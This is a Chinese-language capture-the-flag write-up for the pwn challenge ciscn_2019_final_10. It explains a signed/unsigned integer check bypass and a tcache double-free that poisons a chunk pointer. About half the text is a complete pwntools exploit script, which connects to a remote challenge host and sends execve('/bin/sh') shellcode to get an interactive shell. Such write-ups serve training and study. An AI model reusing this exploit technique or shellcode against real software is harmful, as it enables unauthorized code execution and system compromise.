ciscn_2019_final_10

检查防护措施

1

IDA静态分析

2

我们需要让sub_DD4(v4) == 1

3

那么我们需要让a1的低16个bit为0,那么至少也得0x10000,参数a1是我们输入的

4

但是这里给了限制不能大于255,所以我们首先要绕过这个限制,这里IDA分析出了点问题,看一下我7.5版本的IDA的分析结果

5

v1定义的无符号型,但是到了下面判断的时候被转成的有符号型,那么我们输入0xf0000000即可绕过

6

后面如果chunk1 里的内容是’The cake is a lie!’就可以执行shellcode

利用思路

利用tcache double free改fd去把目标chunk申请过来,修改内容为The cake is a lie!,再写入shellcode,写入shellcode还需绕过sub_EEF()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context.log_level = "debug"
context.arch="amd64"
io = remote("node4.buuoj.cn",26191)
#io = process('./ciscn_final_10')
#io = process(['/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so', './ciscn_final_10'], env={"LD_PRELOAD":'/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'})
elf = ELF('./ciscn_final_10')
libc = ELF('./libc-2.27.so')
io.sendlineafter('>','a')

io.sendlineafter('>',str(0xf0000000))

def add(size,cont):
io.sendlineafter('>',str(0x1))
io.sendlineafter('>',str(size))
io.sendafter('>',str(cont))

def free():
io.sendlineafter('>',str(0x2))

add(0x30,'a')
free()
free()
add(0x30,'\x90')
add(0x30,'a')
add(0x30,'The cake is a lie!\x00')
io.sendlineafter('>','3')

shellcode = b'\x00\x00\x48\x31\xC0\x6A\x3B\x58\x48\x31\xFF\x48\xBF\x2F\x62\x69\x6E\x2F\x73\x68\x00\x57\x54\x5F\x48\x31\xF6\x48\x31\xD2\x0F\x05'
io.recvuntil('>')
io.sendline(shellcode)
io.interactive()

7